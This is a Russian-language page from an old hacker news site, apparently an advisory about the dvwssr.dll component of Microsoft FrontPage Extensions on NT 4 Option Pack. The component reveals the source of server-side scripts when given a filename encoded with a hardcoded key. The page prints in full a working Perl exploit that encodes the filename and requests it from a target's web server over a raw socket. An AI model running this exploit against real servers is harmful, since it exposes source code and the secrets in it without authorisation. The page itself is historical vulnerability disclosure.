Главная
Архив новостей
Безопасность в Unix
Безопасность в Windows
Сборник FAQ'ов
Телефония, фрикинг
Кредитные карты
Криптография
Истории о хакерах
Программы, утилиты
_el@sp.sz.ru

RB2 Network

очередные трюки MICROSOFT


Team Void


/ Обнаружено .r.f.p. /
NT 4 Option Pack поставляется со скриптом ISAPI, расположенном в папке /_vti_bin/_vti_aut/ и называющемся dvwssr.dll, которая входит в состав Microsoft Frontpage Extensions (версия, которая имеется у автора - 3.0.2.1105). Этот скрипт позволяет осуществлять чтение исходных текстов скриптов, расположеных в docroot уязвимого хоста, если вам известен некий "пароль", который по иронии судьбы представлен фразой "Netscape engineers are weenies!".

Впервые автор сообщения, .r.f.p., получил информацию о странном приложении от Alfа Sererа. dvwssr.dll выглядел как какой-то бэкдор, и содержал строку "Netscape engineers are weenies!" (она содержится в DLL открытым текстом, только задом наперёд). R.F.P. заинтересовался этим фактом и решил расследовать данное подробнее. Итак, поиски по сайту Microsoft показали только одно - сама корпорация говорит об этом DLL как о средстве для "проверки URL". Итак, кроме этого не было обнаружено ни одного упоминания о странном ISAPI. Даже анализ самого FrontPage и прочих расширений не привёл к обнаружению ссылок на странный DLL. Позже автор узнал, что данный DLL требуется для работы приложению InterDev 1.0.

Итак, при более пристальном рассмотрении функций и версии данного DLL, входящего в состав FrontPage Extensions, можно сказать, что сами расширения имеют версию 3.0.2.1105, в то время как версия DLL - 1.00.00.2503A. Я думаю, что Microsoft включило данный DLL в комплект FronPage Extensions уже после скупки оного у Vemeer Technologies (а вы думали, какой смысл имеют префиксы _vti_ ? Само приложение выполняет довольно простые функции - оно берёт параметр, кодирует его по стандартному ключу в 62 байта "Netscape engineers are weenies!" и пытается открыть файл, расположенный в корне сервера и имеющий имя, полученное в результате процесса кодирования

Анализ распространённости данного DLL привёл к выводу, что реальной опасности не существует. И эффект, и популярность его значительно меньше, чем у того же RDS. Тем не менее демонстрационный эксплоит для чтения исходных текстов файлов из /docroot жертвы прилагается

#!/usr/bin/perl # dvwssr.pl by rain forest puppy # (only tested on Linux, as usual) # # Usage: dvwssr.pl target_host # /file/to/retrieve/source # use Socket; $ip=$ARGV[0]; $file=$ARGV[1]; print "Encoding to: ".encodefilename($file)."\n"; $url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file)." HTTP/1.0\n\n"; print sendraw($url); sub encodefilename { my $from=shift; my $slide="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; # # my $key="Netscape engineers are weenies!"; # # my $kc=length($from); my ($fv,$kv,$tmp,$to,$lett); @letts=split(//,$from); foreach $lett (@letts){ $fv=index $slide, $lett; $fv=index $slide, (substr $slide,62-$fv,1) if($fv>=0); $kv=index $slide, substr $key, $kc, 1; if($kv>=0 && $fv>=0){ $tmp= $kv - $fv; if($tmp <0){$tmp +=62;} $to.=substr $slide, $tmp,1; } else { $to.=$lett;} if(++$kc >= length($key)){ $kc=0;} }return $to;} sub sendraw { my ($pstr)=@_; my $target; $target= inet_aton($ip) || die("inet_aton problems"); socket(S,2,1,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,80,$target)) { select(S); $|=1; print $pstr; my @in=<S>; select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); }}
 duke.


<== Back to main page